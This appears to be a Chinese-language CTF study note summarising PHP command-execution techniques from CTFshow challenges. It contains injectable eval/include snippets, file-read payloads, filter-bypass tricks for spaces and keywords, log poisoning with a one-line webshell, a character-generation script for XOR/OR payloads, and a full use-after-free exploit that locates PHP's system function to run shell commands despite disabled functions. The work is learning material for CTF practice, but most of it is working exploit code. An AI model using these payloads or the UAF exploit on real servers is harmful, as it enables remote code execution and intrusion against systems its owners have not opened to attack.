| 命令执行总结 
 刚把CTFSHOW的命令执行部分给做完,但脑子里还是混沌一片,想来总结一下这部分,把知识点给凝聚一下,有一个清晰的脉络 首先一个要搞懂一个概念,命令执行是要执行的什么命令? 我认为大致分为两种:php命令和shell命令,一般只执行一种 php代码执行首先提到一个函数 eval 通过其与$_GET[a] 配合 可以去执行命令 <?php
    $a=$_GET['a'];
	eval($a);
 翻看php手册 可以看到 官方说明  
 把字符串 code作为PHP代码执行。 也就是说他执行的是php的代码 那执行的自然也是php的命令了 继续向下翻 可以看到php执行的参数 
 最后传入的参数必须以;分号结尾 但是可以用?>给截断开来 即可以用?>结尾 这就产生了一个绕过(绕过;) 执行php代码的话 又分为两种思路 1.利用php自带的读文件的函数去读文件来getflag利用php自带的一些函数去getflag 常见的读取文件的函数有 fopen('flag.php','rb+');echo fread($file,filesize('flag.php'));
echo file_get_contents('flag.php');
show_source('flag.php')
highlight_file('flag.php')  
c=include($_GET[1]);  1=php:
c=rename('flag.php','1.txt');  访问1.txt
c=include('flag.php');var_dump(get_defined_vars());
show_source(next(array_reverse(scandir(pos(localeconv())))));无数字rce
    localeconv() 函数返回一包含本地数字及货币格式信息的数组。
	scandir() 列出 images 目录中的文件和目录。
	readfile() 输出一个文件。
	current() 返回数组中的当前单元, 默认取第一个值。
	pos() current() 的别名。
	next() 函数将内部指针指向数组中的下一个元素,并输出。
	array_reverse()以相反的元素顺序返回数组。
	highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。
 过滤绕过 过滤空格 可用 %09 %0a去截断
 2.php自身函数大部分被禁用 利用一些脚本来出flagc=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} e
xit(0);
?>  
 <?php  
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { 
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    function trigger_uaf($arg) {
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 
    ($helper->b)($cmd);
    exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
 3.利用include来执行代码有三种方式 <?php
    $a=$_GET['a'];
	eval($a);
 第一种是eval类型的 可以传参?a=include$_GET[b]&b=*********b后的参数可以为文件名称(如果文件后缀不是php的话) 或者可利用php伪协议去执行代码 这样做的好处是可以绕过一些函数的过滤 第二种直接是include类型 来执行代码<?php
    $a=$_GET['a'];
	include $a;
 与第一种差不多 区别是第一种可通过GET 或者POST来绕过大部分过滤 而第二种只能硬打 如果过滤了flag之类的关键字 可以用伪协议+base64绕过 .data:
 第三种包含日志1) apache+Linux日志默认路径
  /etc/httpd/logs/access_log
或者
  /var/log/httpd/access_log
(2) apache+win2003日志默认路径
  D:\xampp\apache\logs\access.log
 D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
 C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
 %SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
 日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
/var/log/nginx/access.log
 这是常见日志目录 可以在UA处写入一句话木马 通过包含日志来getshell 小知识点:include一个文件后 如果文件内容有php标签 那就相当于把其中代码给执行了 include函数是不需要括号的 所以只能用include 或者 request去包含一个文件(变量 ) 其常用格式为 include ‘’ request '’ 顺便写下 shell代码执行shell代码执行是用来执行Linux下系统命令 常见执行系统命令的函数 system();
echo `cmd`;
echo shell_exac('');
 这是最基本的 比较恶心人的是他把各种关键字给过滤了 现在讲一下绕过 过滤空格 %09、${IFS}、$IFS$9、<>、< 
 过滤cat tac tail nl less more 
 过滤flag 通配符  截断fla''g.php  //这个也可以绕过 tac tail之类的
 过滤了system()之类的函数 可以用异或 取反 按位运算来正 下面附一个脚本 来进行拼接 <?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 
		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}
}
}
fwrite($myfile,$contents);
fclose($myfile);
 详见之前一篇文章 无参数rce 另外讲点比较底层的东西 有个比较重要的点 php在进行传入参数时候 并不是看表面的参数 比如说要传 %0c php把[a-z]用正则表达式过滤了 这时候php要看的是url解码后的字符是不是[a-z] 而不是过滤%0c 还有呢 就是php比较浮于表面 也就是说 如果用异或来传参 php仅会检查你表面的字符有没有参数 而不会是异或之后的 还有p牛blog 已经讲的很详细了 |